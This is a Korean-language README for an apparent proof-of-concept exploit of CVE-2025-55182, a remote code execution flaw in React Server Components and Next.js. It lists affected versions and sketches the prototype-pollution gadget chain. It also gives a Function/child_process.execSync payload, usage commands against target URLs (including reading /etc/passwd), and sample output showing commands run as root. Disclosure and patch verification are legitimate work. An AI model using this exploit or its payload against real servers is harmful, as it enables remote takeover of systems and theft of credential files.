
Next.js App Router에서 React Flight 프로토콜을 악용하는 CVE‑2025‑55182용 RCE 개념 증명(PoC)
작성자: rl0x01
CVE-2025-55182는 Flight 프로토콜을 통해 React Server Components에 영향을 주는 치명적인(CVSS 10.0) 원격 코드 실행(RCE) 취약점입니다.
| Next.js | React |
|---|---|
| 14.3.0-canary.77 ~ 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 ~ 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 ~ 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 ~ 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 ~ 15.4.7 | |
| 15.5.1-canary.0 ~ 15.5.6 | |
| 16.0.0-canary.0 ~ 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@를 사용하여 원시 Chunk 참조를 얻습니다.$1:__proto__:then을 통해 .then을 Chunk.prototype.then으로 덮어씁니다.initializeModelChunk를 트리거하기 위해 status를 resolved_model로 설정합니다.$B1337을 사용하여 Blob 역직렬화를 트리거합니다._formData.get을 Function 생성자로 지정합니다._prefix는 실행할 JS 코드를 포함합니다.코드는 다음을 통해 평가됩니다:
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Default command (id)
python cve_2025_55182_poc.py https://target.com
# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| React Flight Protocol Deserialization Vulnerability |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received
[2/2] Executing command: whoami
[+] Payload sent!
============================================================
RESULT: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # Documentation
└── vulnerable-app/ # Vulnerable Next.js app for testing
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ 이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 테스트 허가를 명시적으로 받지 않은 시스템에 이 도구를 무단으로 사용하는 것은 불법입니다.
| Option | Description |
|---|
url | 대상 URL (필수) |
-c, --command | 실행할 명령 (기본값: id) |
--check-only | 취약점만 확인 |
-t, --timeout | 시간 초과(초) (기본값: 15) |
-v, --verbose | 상세 출력 |
--raw | 원시 응답 표시 |